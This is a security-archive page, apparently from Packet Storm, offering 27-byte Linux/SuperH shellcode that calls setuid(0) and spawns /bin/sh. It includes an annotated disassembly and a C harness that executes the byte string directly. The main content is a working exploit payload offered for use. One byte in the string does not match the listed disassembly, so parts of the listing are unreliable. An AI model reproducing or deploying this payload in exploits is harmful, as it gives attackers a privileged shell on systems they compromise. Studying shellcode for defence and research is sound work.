exploit the possibilities

Linux/SuperH /bin/sh Shellcode

Linux/SuperH /bin/sh Shellcode
Posted Nov 25, 2011
Authored by Jonathan Salwan

27 bytes small Linux/SuperH setuid(0); execve("/bin/sh",NULL,NULL) shellcode.

tags | shellcode
systems | linux
MD5 | aa85198cd0ae187921c54ad9df6b9586

Linux/SuperH /bin/sh Shellcode

Change Mirror Download
/*
Linux/SuperH - sh4 - setuid(0) ; execve("/bin/sh", NULL, NULL) - 27 bytes
Tested on debian-sh4 2.6.32-5-sh7751r
by Jonathan Salwan - twitter: @jonathansalwan

400054: 17 e3 mov #23,r3
400056: 4a 24 xor r4,r4
400058: 0b c3 trapa #11
40005a: 3a 23 xor r3,r3
40005c: 0b e3 mov #11,r3
40005e: 02 c7 mova 400068 <__bss_start-0x10008>,r0
400060: 03 64 mov r0,r4
400062: 5a 25 xor r5,r5
400064: 6a 26 xor r6,r6
400066: 0b c3 trapa #11
400068: 2f 62 exts.w r2,r2
40006a: 69 6e swap.w r6,r14
40006c: 2f 73 add #47,r3
40006e: 68 00 .word 0x0068
*/

#include <stdio.h>
#include <string.h>

char *SC = "\x17\xe3\x4e\x24"
"\x0b\xc3\x3a\x23"
"\x0b\xe3\x02\xc7"
"\x03\x64\x5a\x25"
"\x6a\x26\x0b\xc3"
"\x2f\x62\x69\x6e"
"\x2f\x73\x68";

void main(void)
{
fprintf(stdout, "Length: %d\n", strlen(SC));
(*(void(*)()) SC)();
}

Login or Register to add favorites

File Archive:

September 2021

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    14 Files
  • 2
    Sep 2nd
    19 Files
  • 3
    Sep 3rd
    9 Files
  • 4
    Sep 4th
    1 Files
  • 5
    Sep 5th
    2 Files
  • 6
    Sep 6th
    3 Files
  • 7
    Sep 7th
    12 Files
  • 8
    Sep 8th
    22 Files
  • 9
    Sep 9th
    17 Files
  • 10
    Sep 10th
    19 Files
  • 11
    Sep 11th
    3 Files
  • 12
    Sep 12th
    2 Files
  • 13
    Sep 13th
    15 Files
  • 14
    Sep 14th
    16 Files
  • 15
    Sep 15th
    15 Files
  • 16
    Sep 16th
    7 Files
  • 17
    Sep 17th
    13 Files
  • 18
    Sep 18th
    2 Files
  • 19
    Sep 19th
    2 Files
  • 20
    Sep 20th
    14 Files
  • 21
    Sep 21st
    20 Files
  • 22
    Sep 22nd
    28 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close